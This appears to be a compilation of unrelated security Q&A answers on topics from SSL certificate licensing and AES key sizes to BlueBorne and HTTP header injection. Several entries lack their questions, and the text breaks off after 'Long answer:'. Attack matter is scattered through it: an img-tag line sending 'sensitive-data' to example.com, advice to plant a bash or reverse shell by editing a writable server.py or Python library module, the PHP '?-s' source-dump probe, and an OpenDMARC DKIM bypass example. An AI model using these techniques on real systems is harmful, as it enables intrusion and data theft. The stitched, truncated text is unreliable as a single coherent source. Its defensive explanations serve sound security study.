Multiple instances with the same SSL certificate legalities?

This is not legal advice, if in doubt consult the provider or seek professional advice.

In my conversations with CAs I have found they generally consider a discrete instance of a server as the unit of licensing. That is, if it is one kernel. Multiple instances of Apache, Nginx, LDAP services, SFTP services all count as one server. If they can all be addressed by the same name on that single server, it is legal to use the certificate for multiple services.

The other alternative is a single load balancer/TLS offload device in front of your servers. Even if there are five servers behind the TLS offload (ie non-encrypted communications behind it to the servers, encrypted to the outside world), each device is considered a single server. So a two-device load balance cluster that perform TLS offload, is two servers, even if they then serve five servers behind them.

While checking for compliance is difficult for CAs to perform, do not think that you can "get away with it" just because your service looks like a single server to the outside world. Contact the person who purchased it for a copy of the license/terms of use for the service to make sure.

In the end, like any IT procurement, there needs to be a business case that justifies the expenditure, and if less than $100 per server per year is not worth it to secure your services where multiple servers are not allowed in the license, free options like Let's Encrypt can be considered.


Why doesn't Advanced IP Scanner show machine name?

If you are talking about Windows Network Discovery, that would not affect the ability of a host to be detected in a ping scan. Are you doing a ping scan or does Advanced IP Scanner have options for other types of scans (e.g., specific ports on UDP or TCP).

If the one machine it returns is your own IP, you may have a local firewall issue blocking the scan or maybe a UAC thing. It's also possible that the other hosts on your network are blocking the scan with some host based intrusion detection/prevention mechanism. Have you tried using another tool such as nmap (if you want a GUI you can use zenmap).


Overall Security of Network Time Protocol

For most people in most applications, highly accurate local time is not of the essence. There are two broad categories for the exceptions:

Certificate Authorities, nonrepudiation systems, financial controls and others need to make sure that the time of an event as reflects the real-world time is accurately recorded, assuring integrity, but not to very precise tolerances (outside HFT)
Authentication systems, key exchange mechanisms and other temporary interactions involving authentication are concerned with protecting against replay attacks and use the concept of "now" to achieve this, while not being terribly concerned when "now" really is, only that it's not being replayed from "then".

Even inside these categories, unless there are legal or safety consequences for a lack of accuracy or synchronisation with the outside world, there is either a wide tolerance of drifts/disagreements among parties (eg most authentication survive can survive  of seconds to minutes) or a simple requirement that, while the time is not completely accurate against the outside world, then at least that all parties agree on their own representation of the time (eg all log events exactly 1.522 seconds late are still correctly ordered).

Mostly, attacks require at least the server, if not both ends of the connection to have compromised time, and good monitoring will detect this event if the design does not outright reject it.

My understanding is that for most end users, Denial of Service is the bigger concern. The big guys won't be relying on open NTP across the Internet if they're really serious.


Neither tool modifies the traffic inside the encrypted connection. So the problem isn't related to what is happening at the HTTP layer. And thus even if there is a way to get the unencrypted data you are asking for, chances are it isn't going to help you.

There is however another possible explanation, which relates to what happens at the TLS layer. The SNI extension for TLS will allow the client to communicate the hostname unencrypted to the server before the server sends any data back to the client. This extension is needed for name based reverse proxies and for servers hosting multiple domains with different certificates from a single IP address.

For security reasons Apache (and possibly other HTTP servers as well) will verify that any client sending a hostname using SNI repeats the same hostname in the HTTP Host header. If the client does not repeat the same hostname, Apache will respond with an error code 400.

s_client does not use SNI by default, but it has an option to turn it on. And you can instruct s_client to send anything you want in the SNI field. That way you could reproduce the 400 error with s_client.

I found one report about stunnel sending an incorrect SNI header causing the same problem that you are seeing.

By inspecting the encrypted traffic using Wireshark or any other network capture utility, you can see which host name is being sent using SNI (if any) and that way verify if the problem you are seeing is due to incorrect usage of SNI as in the linked question.


Using computer random number generators to produce keys, it is secure?

It depends on your threat environment, exposure, and overall system security. Given the difficulty in implementing robust secure systems, and assuming that the thing you are protecting is not of high value (to others), using your own computer to generate random numbers is likely ok. However, if the threat to your system is high, your exposure is great, and or the thing you are protecting is high value, then no, using computer generated random numbers is insecure.

  Does generating an encryption key using the random number generator on one's computer
  present a security risk?

Yes, but it may not be a significant enough risk to do anything about it. See the next part of the answer.

  If so how might that risk be mitigated, specifically when generating RSA
  key pairs in .Net?

In RSA encryption the private key and the public key are mathematically related. Random numbers are needed in order to generate the private-public key pair. If an attacker had the random numbers used to generate the key pair and the public key, they could easily find the private key.

Microsoft's .Net framework provides RNGCryptoServiceProvide for random number generation. All software based random number generators are actually pseudo-random number generators. Meaning that they are not truly random, but they produce output in a way that makes the output appear random.

All software is deterministic. Meaning that for a given set of inputs the output can be determined exactly. This is bad for prng (pseudo-random number generators), because they would produce predictible output. i.e. The output would not even be pseudo-random. To get past this limitation, prng need seed random data to get them started.

By giving the prng function a little random data to start with it can generate lots of pseudo-random numbers. There are many methods to generate random seed data: using the time the function was called, reading a block of uninitialized memory, using the time average time between keyboard presses, the position of your mouse, etc. Generally the data used to generate the random seed it not perfectly random either.

If an attacker knew the algorithm used to produce the random numbers, and the seed data, they may be able to reduce the possible outputs of the prng and used the reduced set out output to easily find your private key.

I do not know what rpng algorithm is used by RNGCryptoServiceProvide, so I can not speak to it's effectiveness.

To mitigate risk due to random number generation, you can use true hardware based random number generators. Hardware based random number generators do not require a seed, becausee instead of an algorithm they use a physical process to generate their data. Certain physical processes have random or near-random characteristics: decay of a radio active particle, therman noise, race conditions in transistors, etc. The output of the hardware based random number generators will be statistically more random then the numbers generated by your computer. Additionally, no value available on your computer is used to generate the output. However, many hardware random number generators are expensive, and slow.

So, would the cost in money and speed be worth the investment?

It depends on what you are protecting, and how sophisticated and determined your attackers may be.

Note: some computer chipsets now include hardware random number generators.


Nmap and it default scripts when I already know some of the information

In the nmap docs it says:

  Script scanning is normally done in combination with a port scan,
  because scripts may be run or not run depending on the port states
  found by the scan.

So if a host doesn't have http-port open then http scripts won't run for this particular host.
Also, in case the host has another port open (let's say 445) and you don't specify it, then using the -sC option (for default scripts) smb-related scripts won't be executed for this particular host. The above are only valid when script scanning is done in combination with a port scan of course.


I recommend reading "Crawling Ajax-driven Web 2.0 Applications". The paper discusses different crawling techniques for Ajax-driven Web application. Through Crawling we try to collect all possible resources from the server for vulnerability assessment. But this is not possible with traditional protocol driven approach for Ajax driven web application. Since traditional approach crawler sends HTTP request and interpret responses but  for Ajax-driven web application we require event driven crawling. You can work with Ajax based crawler such as Crawljax


Our logs showing a lot of SSH brute force attacks originating on Port 11

Source port numbers are normally chosen at random so as not to interfere with servers listening on "well-known" ports. If machine A is a client to machine B (e.g. B is your SSH server), then the kernel on A will normally choose a random free "high" port, because if it chooses port N, then this will prevent any potential connection from B to a server running on A and bound on port N.

However it is trivial to choose a specific source port; it is a matter of a simple bind() call prior to the connect(). For port values which are lower than 1024, on Unix systems, this requires root privileges, but we can assume that the attacker is root on his own machine. Why would an attacker do that ? Probably to fool badly-written firewall rules. Some sysadmins simply allow packets with low port values on the (mistaken) assumption that a low port can only be on the server side of a connection.

For the record, port 11 is for the systat service, an old-style way for sysadmins to gather some runtime system information on their machines.


Would VirtualBox sandbox potential viruses from main system?

Virtualbox provides sandboxing by creating entirely new virtual system inside your host system. Its isolates the virtual system from the host machine, any thing you do inside the VM won't directly affect your host system, unless there is some host-only communication which probably gives some worm to try to attack your host system. But as long as you did not install the infected package in the first place, it will be okay.


An excellent resource for bypassing these kinds of rudimentary filters can be found on OWASP's Filter Evasion Cheat Sheet.

This is a pretty terrible filter. Whilst I have no direct access to what you're looking at, if it is as described then there should be no difficulty in bypassing it at all. Assuming this is your website or one you're providing feedback on, you should always use an industry standard and well tested XSS sanitizer, kept frequently up to date.

Examples (not endorsements!) of ones you might want to look at:

XSS.js - Node.js HTML santitizer
HTML Purifier - PHP HTML sanitizer
Sanitize - Ruby HTML sanitizer

If you don't want to use a library (not recommended!), you might try aggressively escaping or removing special characters. This is bad for user experience, though.


Is opportunistic encryption support optional for HTTP/2?

Yes, it appears optional.  According to http://daniel.haxx.se/blog/2015/03/06/tls-in-http2/, it was originally part of the HTTP/2 specification, but was later moved into its own spec as an extension of HTTP/2, http://tools.ietf.org/html/draft-ietf-httpbis-alt-svc-06.

It would appear that it was finally implemented in Mozilla in late 2014, and was finally enabled and will be shipping with Firefox 37.

https://bugzilla.mozilla.org/show_bug.cgi?id=1003448

https://bugzilla.mozilla.org/show_bug.cgi?id=1113790


I'm not sure if I understand your problem.  There seems to be a contradiction in your goals vs. solution.

You don't trust the server to not evesdrop
You're providing the server your decryption keys during login so that it can scan the files and generate metadata
You're trusting the server to forget the keys and the plaintext when the user logs out

You'd be better off generating the metadata at the time of encryption on the user's workstation.  Then upload the metadata plaintext along with the encrypted data.  It's not future-proof, so choose your metadata carefully.

To share the file, encrypt the keyfile with the recipient's public key and upload it.

Never give the plaintext keyfile to the server.


The NIST randomness tests for a generated key

There are no randomness tests for keys, and in fact there will probably never be. The reason is that randomness tests require a huge amount of input to function, often on the order of gigabytes, so a single key can never be tested. What randomness tests are for is to ensure that hardware noise sources and PRNG algorithms are generating pseudorandom and uniformly-distributed output.


Why most people use 256 bit encryption instead of 128 bit?

Why do people buy red sport cars ? They do not go faster than sport cars of any other colour...

AES comes with three standard key sizes (128, 192 and 256 bits). Many people see this and think that if there are three distinct sizes instead of just one, then there must be some difference, and since the 256-bit version is a bit slower than the 128-bit version (by about 40%), it must be "more secure". So they go for "the most secure" and choose 256-bit keys.

In reality, the AES has three distinct key sizes because it has been chosen as a US federal algorithm apt at being used in various areas under the control of the US federal government, and that includes US Army. US Army has a long-standing Tradition of using cryptography, and that Tradition crystallized into internal regulation with all the flexibility and subtlety that armies around the world constantly demonstrate (just listen to some "military music" and you'll understand what I mean). Unfortunately, this happend quite some time ago, before the invention of the computer, and at that time most encryption systems could be broken, and the more robust were also very hard and slow to use. So the fine military brains came up with the idea that there should be three "security levels", so that the most important secrets were encrypted with the heavy methods that they deserved, but the data of lower tactical value could be encrypted with more practical, if weaker, algorithms.

These regulations thus called for three distinct levels. Their designers just assumed that the lower level were necessarily weak in some way, but weakness was not mandatory. So the NIST decided to formally follow the regulations (ask for three key sizes) but to also do the smart thing (the lowest level had to be unbreakable with foreseeable technology). 128 bits are quite sufficient for security (see this answer for details). Therefore AES accepts 256-bit keys because of bureaucratic lassitude: it was easier to demand something slightly nonsensical (a key size overkill) than to amend military regulations.

Most people don't know or don't care about History, and they just go for big because they feel they deserve it.


Can query string command line exploits in older CGI implementations of PHP be protected against without updating PHP versions?

PHP released a bulletin here:

  The PHP development team would like to announce the immediate
  availability of PHP 5.4.2. This release delivers a security fix.

  There is a vulnerability in certain CGI-based setups that has gone
  unnoticed for at least 8 years. Section 7 of the CGI spec states:

  Some systems support a method for supplying a array of strings to the
  CGI script. This is only used in the case of an `indexed' query. This
  is identified by a "GET" or "HEAD" HTTP request with a URL search
  string not containing any unencoded "=" characters. So requests that
  do not have a "=" in the query string are treated differently from
  those who do in some CGI implementations. For PHP this means that a
  request containing ?-s may dump the PHP source code for the page, but
  a request that has ?-s&a=1 is fine.

  A large number of sites run PHP as either an Apache module through
  mod_php or using php-fpm under nginx. Neither of these setups are
  vulnerable to this. Straight shebang-style CGI also does not appear to
  be vulnerable.

  If you are using Apache mod_cgi to run PHP you may be vulnerable. To
  see if you are just add ?-s to the end of any of your URLs. If you see
  your source code, you are vulnerable. If your site renders normally,
  you are not.
  To fix this update to PHP 5.3.12 or PHP 5.4.2. We recognize that since
  this is a rather outdated way to run PHP it may not be feasible to
  upgrade these sites to a modern version of PHP, so an alternative is
  to configure your web server to not let these types of requests with
  query strings starting with a "-" and not containing a "=" through.
  Adding a rule like this should not break any sites. For Apache using
  mod_rewrite it would look like this:

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

  If you are writing your own rule, be sure to take the urlencoded ?%2ds
  version into account.

Note that this is specifically for mod_cgi on Apache.

To make sure that you aren't vulnerable, test if the method described above is also applicable for your IIS servers. If so then you need to make sure that for each IIS server you need to enable url-rewrite and make sure you mimic the same behavior as written above.

The longterm solution isn't patching your software, your long term goal should be adequate patch management and a better control of your software development lifecycle. Patches like these should be able to be rolled out in less than two weeks (this is the goal).

You should also take care that you keep track of vulnerabilities yourself, the fact that the audit team has to remind you about critical vulnerabilities shows that your vulnerability management is lacking as well.


Are multiple encrypted containers with the same passphase containing the same files a cryptographic risk?

Most modern (symmetric and public key) encryption schemes are considered to have (at least) IND-CPA security. This is'indistinguishability under a chosen plaintext attack' and is defined by a cryptographic game.

In the game, after setting up the encryption scheme, the adversary chooses two plaintext messages (m0, m1) and leanrs the corresponding ciphertext of one of the randomly chosen messages mb (for some random b), the adversary is unable to distinguish which plaintext message the ciphertext corresponds to. The adversary can repeat this procedure multiple times: after receiving the ciphertext for one of their plaintexts, they can choose two more plaintext messages (m0' and m1') and receive the ciphertext of mb'. After receiving a computationally limited number of ciphertexts, the adversary must then guess the value of b. For the scheme to have IND-CPA secure, the probability of the adversary correctly guessing b must be no larger than 1/2.

This game applies to your setting as the adversary is not restricted to choose distinct messages during each request. Thus, even if m0 remains constant during each request, in a scheme which is IND-CPA secure, the adversary has no advantage in guessing b.

This is generally possible because encryption schemes add an element of randomness: most RSA padding inserts some randomness, and symmetric schemes use IVs (which must change for each identical plaintext encrypted under the same key- a point which may be worth noting in your scenario).


Did google start using proxy for gmail images?

From what I know is that Google deployed image proxy servers in 2013.

Here is an old news about that https://wordtothewise.com/2013/12/gmail-deploys-image-proxy-servers/

  Sometime very recently (last 24-48 hours), we are seeing that Google made a change to Gmail such that all image URLs in the email
  content are replaced by a call to Google’s content caching service
  googleusercontent.com.

  For example, an image with the src: “http://mysite.com/i.jpg” will be replaced by Gmail with a URL something like this:
  https://ci3.googleusercontent.com/proxy/…#http://mysite.com/i.jpg


gnu gcc source archives signed with expired GPG key?

The pedantic answer to your question is: when gcc-9.3.0 was released, the key was not yet expired:
$ gpg --verify gcc-9.3.0.tar.gz.sig gcc-9.3.0.tar.gz
gpg: Signature made Thu 12 Mar 2020 07:32:47 AM EDT
gpg:                using DSA key A328C3A2C3C45C06

The signature was made in March 2020, but the key expired in September 2020:
gpg --list-keys A328C3A2C3C45C06
pub   dsa1024/A328C3A2C3C45C06 2004-04-21 [SC] [expired: 2020-09-10]
      33C235A34C46AA3FFB293709A328C3A2C3C45C06

So, the fact that it's expired now is not a cause for concern.
What is the cause for concern is that it's a 1024/DSA key, which is probably not considered sufficiently strong these days. However, I can also see that the author has a newer key created in May, 2020:
pub   rsa4096/6C35B99309B5FA62 2020-05-28 [SC]
      D3A93CAD751C2AF4F8C7AD516C35B99309B5FA62

So, perhaps the next release of gcc will be signed with this key instead.


TL;DR - There is nothing to worry about, appears to be caused by something running in the background of the OS.

This is a very common "issue" with "Cisco" EPC products and it appears to be an underlying OS "feature" that causes this "issue".

The problem comes from the fact that "Cisco EPC" products are not actually Cisco at all, they're Linksys products which have been rebranded as Cisco products. If you were unaware since 2003 until 2013 Cisco was the parent organisation of Linksys, all products that Linksys had developed or had been developing were sold as Cisco products not Linksys ones. The problem with that is Cisco never redeveloped these products, nor did they care to they simply just sold & marketed them as Cisco products but the truth remains - they aren't.

You may be wondering why that's a problem? Well it's not a problem as such it's more a thing you need to take into consideration, as these are not Cisco products they do not run the "real" Cisco IOS whilst I cannot provide you with a data-sheet for this information (As Cisco have since retired the product, removed all data from the website with the exception of forum threads and EOL'd it) what I can provide is an example of another product with the same commonality.

If you're familiar with Cisco equipment you will have probably heard of the SF & SG family, these are "Cisco" switches, like the EPC line they're not actually Cisco switches, they are in-fact Linksys switches this is evident when interacting with the CLI - one example would be when trying to use the backspace key, on a "real" Cisco product backspacing works as you would expect but on an SF or SG switch it doesn't - you must hold shift in order to use the backspace key. Another example is the following command boot system image-1 that command doesn't work on a "real" Cisco switch, take the 2960 family for example that command would actually be boot system flash:filename

The overall point is these products aren't running Cisco IOS (Which isn't Linux) what they're actually running is another OS based on Linux which tries to mimic Cisco IOS as closely as possible (Hence my examples). This explains why the OS shows as "Linux", this also explains why the MAC is a Cisco MAC because it is technically a Cisco product it's just not made by them. However, you shouldn't be worried about this, it's not causing harm to the network at all, it just appears to be something that runs in the back-end of whatever OS these EPC devices use.

As I said at the start Cisco haven't and probably will never release a statement on this partly because of the products being EOL'd and partly because of the fact that it's not something which is affecting you, it's just built into the OS to run in the background for an unknown reason which we'll probably never know.

If you read this you will see the device directly supports Samba server (Which I believe you already know) this will be whats going on, as the post you linked said switching it off should "fix" it.

Disclaimer - I am not directly affiliated with Cisco, I do not work for Cisco, I do however work for a Cisco partner. Anything in this answer is not the word of Cisco it is the word of my own as an individual based on research I've carried out. Please do not take this answer to be the official answer to the problem as Cisco have not and probably will not ever release an official statement on the issue.


Client-side cross-site access in SSL environment - when it's still possible to do?

There are a couple of ways, which allow a web application to transmit information to another server using the browser as relay. The same origin policy prevents other websites from accessing a sensitive website, but there are a number of access types that are not restricted.

For example:

The img-tag can be used to load an image from any server: <img src="http://example.com/?log=sensitive-data">
css and javascript files can be loaded the same way
Forms can be submitted to any server. The can be hidden in an invisible iframe and submitted automatically by JavaScript: <form action="http://example.com/" method="POST">
There are cross origin requests in HTML5 using the XMLHttpRequest JavaScript object: HTML5 Top 10 Threats: Stealth Attacks and Silent Exploits


What information can be taken by submitting an online form?

If you connect and submit a form using your VPN connection, the site will get your VPN address, not your main IP address.

But with a little javascript file they can get a lot of information about you:

Browser type, version and revision
All plugins installed
You operational system
Screen size and depth

If they succesfully exploit DNS Leak, or put Flash or Java on the page, they can even get your real IP.

Anonimity is a illusion. The only thing you can do is being harder to identify, but you cannot never ever be impossible to identify, no matter how much you try. If anyone really wants to identify you, the only possible defense is get disconnected.


Is it possible to have multiple key lengths in PKI?

Yes, each certificate stands on its own, and can be any bit length without any connection to the length of certificates which it signs or which have signed it.

And yes, it may make more sense to have a root certificate, which is used rarely but requires more security, be a longer key length than a web server certificate, which is used often and where the computational speed has an impact.


Are deleted SMS still retrievable from Android-based phones?

Everything is retrievable if it's not overwritten.  On solid-state devices like our phones we need to be careful to start from an encrypted starting point to avoid some of the theoretical recovery (ForensicsWiki).

Short answer, Oxygen is something I've used to pull data off phones, but all it really requires is physical access, take a physical image, and use forensics tools like FTK or EnCase to look through hex a little easier.  Better yet, use Oxygen to make the everything pretty and organized (http://www.oxygen-forensic.com).

Short short answer, you need to overwrite your data / encrypt the data to avoid recoverability.  Even then I'm sure some wizards could get bits and pieces given enough time.


Are there any academic papers/books about hacking wargames?

Yes, there are plenty of academic papers on the topic.
Just use the right keywords. The term wargame isn't as common for these competitions. But you'll find quite a few results combining the terms CTF and security, e.g. on Google Scholar.
Here are some examples:

Learning Cyber Security Through Gamification:

Objectives: Introducing gaming approach in the jeopardy round of InCTF (Indian Capture the Flag). Methods: Present Jeopardy round of InCTF can be compared as take-away assignments, where participants are given set of questions to solve, this is aimed at testing their knowledge in various computer security concepts. To make jeopardy round more attractive and motivating to the students we introduce a gaming approach to it. A game is developed which is divided into various levels and at each level the knowledge of students in Cyber security concepts is tested. Our design will help others to host jeopardy round CTF and get maximum learning outcome from the students. Findings: Security competition like CTF (Capture the Flag) are effective tool in providing computer security training. Conclusion: Gaming approach in Cyber security education will be a big step forward in training more students in computer security and create a secure online world.

Computer Security Competitions: Expanding Educational Outcomes:

Security competitions can be a lot of fun, and preparing for them often exposes participants to skills they might not otherwise have encountered. Yet, participating in such competitions doesn't necessarily provide a road map for future success. By offering enough feedback, organizers could turn competitions into valuable training opportunities, rather than simply opportunities for participants to self-assess their skills.

Hacking Competitions and Their Untapped Potential for Security Education

There are also papers that focus specifically on the competition design, e.g.:

The Design and Lessons of the ASCENT Security
Teaching Lab

A security laboratory for CTF scenarios and teaching IDS


Is encryption possible for simplex (one-directional) TCP/IP, and if so, how?

With one-directional communication the sender must have least some knowledge of the recipient so that the data can be encrypted. This knowledge might be a common pre-shared secret which is used in symmetric communication or it might be the public key like used in PGP and S/MIME. This public key then can be used to encrypt a message which can be decrypted only by private key (which should only be accessible to the recipient). In practice this public key is usually used for performance reasons to encrypt only a short random secret and this random secret is used as symmetric key to encrypt the larger data.

The established standards PGP and S/MIME are actually good examples how to encrypt a message without doing any kind of handshakes inside the communication channel. The sender only needs the public key of the recipient to create such an encrypted message.

Of course if the common pre-shared key or the private key of the sender are compromised all communication done using this key can be decrypted, which includes all old communication. This risk can be mitigated if you use a different key all the time in the hope that not all of the keys gets compromised. But this would mean that you need some kind of back communication from time to time to exchange or negotiate the new keys.


Without seeing what server.py does, I would suggest performing the following checks:
Do you have write privileges on server.py?
If so, simply edit it to spawn a bash shell as mentioned by ThoriumBR.
Do you have write privileges on python library path?
Usually they are in /usr/lib/python*. If for some reason the directory is writable and server.py import modules such as os, you can edit the module to include reverse shell commands.
Good luck!


Gmail disclosing your account name to recipients?

There are a number of ways this can happen, but hacking your email account to find our your name really isn't one of them.  That would be a ridiculous amount of work given the risk and the very small potential reward involved.

The most likely explanation also one of the most mundane possibilities: They already have your name associated with your email address.  How?  Who knows.  You'd have to ask them.  Perhaps they bought a marketing list that contained your name and email.  Perhaps you're in their system from some previous interaction that you've forgotten.  Perhaps they purchased another company, and you were in that company's system.  Perhaps they subscribe to a service to which that can plug-in an email address, and it returns any public information from anywhere on the Internet that it can find about the owner of that email address. (These services do exist.)

The potential ways this could have happened are nearly endless, and almost none of them involve any sort of impropriety, so the bottom line is that I wouldn't worry about it.


Bypassing OpenDMARC checks by forging Authentication-Results

You need to harden some other parts in your configuration:

OpenDMARC can and should check the SPF independently. /etc/opendmarc.conf for every MX:

SPFIgnoreResults true
SPFSelfValidate true

Remember that the external SPF will pass for every valid envelope sender, leaving the forged header the one matching for the From header first.
Also, the Authentication-Results from a secondary MX could only be trusted if the SMTP connection originates from that server.

When your secondary MX is configured to perform all the checks, it can be excluded:

IgnoreHosts /etc/opendmarc-ignorehosts.conf

...and list the IP addresses for the secondary MX server(s) in that new configuration file.

This allows you to remove the secondary MX form TrustedAuthservIDs, which was the root cause.
OpenDKIM must be configured to add header even when it already exists. /etc/opendkim.conf:

AlwaysAddARHeader yes

Everything works fine when OpenDMARC counts the topmost matching Authentication-Results only.

If this didn't work, there's also a problem in the OpenDMARC implementation: this seems like a known unfixed bug, ticket #223 Able to maliciously pass DMARC check with multiple DKIM signatures:

  Example:

  opendmarc_policy_store_from_domain marketplace.amazon.de
  opendmarc_policy_store_spf example.org PASS
  opendmarc_policy_store_dkim amazon.de FAIL
  opendmarc_policy_store_dkim example.org PASS

  This will incorrectly result in a DMARC pass.

  The root cause is that second call to opendmarc_policy_store_dkim
  doesn't match the exact match, nor a subdomain match and because the
  previous dkim_outcome stored isn't a pass it skips this, passing into
  the set_final label and sets the dkim_outcome result to be pass for
  the previously stored dkim_domain, in this case, amazon.de. Allowing
  it to pass validation.

  As per the docs, opendmarc_policy_store_dkim states: "You may feed
  this function results from multiple DKIM signatures. This function
  will select the most successful check from among those that align with
  the header From: domain."

There's a patch in the comments, but as it's not merged to the source code you can't get it from your favourite distribution, but need to build OpenDMARC on your own.


Updating the SSL fingerprint on an IoT device

This sounds like you haven't created an update mechanism for the product that you are releasing. This is of significant more concern than updating signatures for pinned certificates. How will the product be updated in the event security improvements need to be made or bugs need to be fixed?

The product should be released with an initial signature for all TLS connections. The update mechanism should be capable of pulling down an updated firmware image and deploying it to the device. The device should only request these updates over a TLS encrypted channel. The server side update deployment code should sign all firmware updates with a private key. The public key used for signature validation should be embedded in the firmware when the device is released. This way you are able to update the TLS signatures using the update mechanism as well as the public keys that are used for firmware image validation.

Make sure that you update the TLS signature values and the public keys used for image validation before they expire, this may mean you have a 3 month update period prior to the expiration of either. This period should be defined based off of how long it generally takes users to update the product; you want to give everyone significant time to update their device and a method to perform a manual firmware download/update in the event these values/keys are not updated before they expire.


Is Google a feasible tool for an organization to check if their name is being used in phishing sites?

You can try to take the best out of Google to find out if your organization is having a phishing sibling, but it won't probably show you all the phishing websites.

If a take the allinurl example, and you're looking for similar website as paypal, if the attacker choose a name like paypall or paypol, this won't be seen in the Google result page. Now, this can pop up some good one, as you can see on this interesting link (that answer a bit of your question too).

You will have more success searching with the intitle parameter, like :
https://www.google.fr/#q=intitle%3A%22PayPal+Merchant+Services+-+Payment+Solutions+for+Your+Business+-+PayPal%22 because they will make the phishing website look identical to yours, so you will have more chance to find them using the title tag.

Now, this won't never be 100% efficient.

A good alternative is to use this service, PhishTank, which list all the phishing websites reported by users. But again, if no one reported a malicious website, you won't find it.


According to PCI, you have 3 kind of networks:
1. INTERNAL (Cardholder Data Enviroment)
2. DMZ
3. INSECURE

If your VPN network is considered as DMZ network, then it's under PCI scope, just like every other device in DMZ zone.

If your VPN network is considered as INSECURE network, then you shouldn't allow direct connection to the servers in INTERNAL network.

So, either you are in PCI scope, or you are INSECURE. Firewall should be configured to not allow direct communication between INSECURE and INTERNAL network.


What is BlueBorne and how to protect myself?

This my condensed notes of the official BlueBorne documentation page published by Armis Labs.

General Overview

BlueBorne is an attack vector by which hackers can leverage Bluetooth connections to penetrate and take complete control over targeted devices.
By spreading through the air, the BlueBorne attack vector surpasses the capabilities of most attack vectors by penetrating secure “air-gapped” networks which are disconnected from any other network, including the internet.
The BlueBorne attack vector requires no user interaction, is compatible to all software versions, and does not require any preconditions or configurations aside of the Bluetooth being active. Unlike the common misconception, Bluetooth enabled devices are constantly searching for incoming connections from any devices, and not only those they have been paired with.

BlueBorne Explained: How The Attack Vector Works

The BlueBorne attack vector has several stages. First, the attacker locates active Bluetooth connections around him or her. Devices can be identified even if they are not set to “discoverable” mode. Next, the attacker obtains the device’s MAC address, which is a unique identifier of that specific device. By probing the device, the attacker can determine which operating system his victim is using, and adjust his exploit accordingly. The attacker will then exploit a vulnerability in the implementation of the Bluetooth protocol in the relevant platform.

The final stage of the attack exploits implementation flaws in each major OS's bluetooth stack. The linked page lists 7 CVEs for the bluetooth stacks of Android, Linux and Windows, and mentions that iOS had similar vulnerabilities that were patched in iOS 10. These include buffer overflows, remote code executions, and man-in-the-middle vulnerabilities. From the vulnerabilities listed, it seems that Android and Linux are easier targets than Windows or iOS. The reason these lead to full system compromise is that:

the Bluetooth process has high privileges on all operating systems, exploiting it provides virtually full control over the device

How to protect yourself
The standard answer is to disable bluetooth on all your devices immediately and wait for an appropriate OS patch (except for devices running iOS 10+, which are supposedly fine).
Although, for things like your car stereo or your bluetooth printer, it will probably never receive a patch. Even the majority of Android phones probably won't ever get patched: Google only supports its own flagship Nexus devices for 18 months, and beyond that even if Google does release a patch for a supported device, it's usually up to your mobile carrier to push the update, and most don't.
Alas, the real answer is probably: wait until this gets fixed in mainstream Android, then buy a new device.


Is it possible to do HTTP header injection if CR/LF are stripped?

Depends what you mean by stripped.  (python's string.strip() method only removes occurrences from the beginning and end,  which doesn't stop CRLF injection.)  If you are replacing all occurrences "\r\n"  then you are still vulnerable to HTTP response splitting.  This is because every http client and server I know of also recognizes the "\n" character alone as a delimiter.  Although in this case all we care about is browsers.

The best way to always replace all occurrences of newline "\n" with nothing "" and the "\r" with nothing "", separately for good measure.  I have never seen an implantation of the HTTP protocol that just looks for "\r",  so as far as I know this has zero security impact,  but you should do it anyway for good measure.  If you are also worried about HTTP attributes then you also need to strip " ", "\"" and ";",  but that also depends on where in the http header the attacker controlled string is.


Do SSL / X.509 certs cover all ports for a host?

Theoretically you can put anything you want in a certificate; for instance, this certificate actually contains a video file as "Subject Alt Name" (surprisingly, Windows has no trouble decoding a 1.2 MB certificate -- but it does not show the video, alas). However, in practice, certificates "for SSL" just contain the intended server name, as specified in RFC 2818. The client (Web browser) will verify that the name from the URL indeed appears where it should in the certificate. There is no standard for storing a port number in the certificate, and no client will verify the presence of that port number anyway, so, in short words: certificates are not port-specific. The notion of "identity" that certificates manipulate and embody does not include the notion of "port".


1. Do not turn your laptop computer on again

At this point your laptop computer has been compromised by the thief.  The thief's software may already be installed and lying in wait for you to reconnect to the internet, and once it does it could automatically send him a copy of your saved passwords, banking bookmarks, email information, etc.   Do not turn it on unless you are sure you have shut off the laptop's WiFi and that it cannot connect to any network, or the attack could automatically resume and finish the job of robbing you.

2. Use a different computer to immediately change all of your passwords

First, change the passwords to the web sites that have your banking or credit card information stored.  Change your bank password first, then your credit card account passwords.  Next, try to list all the shopping sites that have your credit card on file, such as Amazon's One-Click, PayPal, Apple's iTunes, or any other such site.  Then change your passwords on social media sites, such as Facebook, Twitter, etc.  You don't know if the thief got a copy of your stored passwords before you shut off your computer, so to be safe you should assume that he did.

3. Consider contacting your local police

You have been the victim of a crime.  If your city is large enough, your police might be able to help you file an incident report or find assistance in dealing with this issue.

4. Decide if there is anything of value on your laptop computer
    that you need to save that is not backed up

The ideal case would be to not have to try to recover anything.  But perhaps there are email documents, word documents, photos, personal spreadsheets of information, or other data of that nature that you need to save, and that you don't have backed up.   If so, you definitely want to bring the computer to someone who understands how to safely backup any data on it that you consider valuable.  This is not as easy as it sounds.

Regardless of whether or not you need to recover data, I would recommend you seek a professional's help here (any computer repair place will help you for a price.)  But if you want to know what the next steps are, read on.

5. Re-install Windows from a disk.

This would be the disk that came with your machine, or came with your copy of Windows.  The problem is many so-called "recovery disks" aren't very good at recovering in your situation.  They may not clean up all the bad software.  Whatever option you are presented with, be sure to  make the selection of "Reformat and reinstall a fresh copy of Windows", "Restore my machine to factory state" or some such label. And if you are presented with a screen that says something like "Save my old data", or "Preserve my account", you need to say "no".

6. Run Windows Update

After you have installed Windows, but before you put any personal information on it, you need to connect it to a network and run Windows Update.  This will download any patches that have made since your Windows disk was manufactured.  This will likely take quite a while.

7. Restore your data from backups and reinstall your software

Yes, this is as ugly as it sounds.  It's going to be just as much work as putting all your stuff on a fresh computer, because that's what it you need to do here to get running again.

8. Watch your bank statements

There is a chance that the attacker already has enough data to start stealing from you.  Keep an eye on your bank balance and your credit card statements, and immediately report anything suspicious.


Do TLS standards require applications to be picky on case sensitivity of hostnames?

Short answer: the hostname part/CN is case insensitive. The issue is not with TLS standards, but with the way other things are implemented, e.g. web server configuration, vendor-specific implementations, etc.

Long answer:

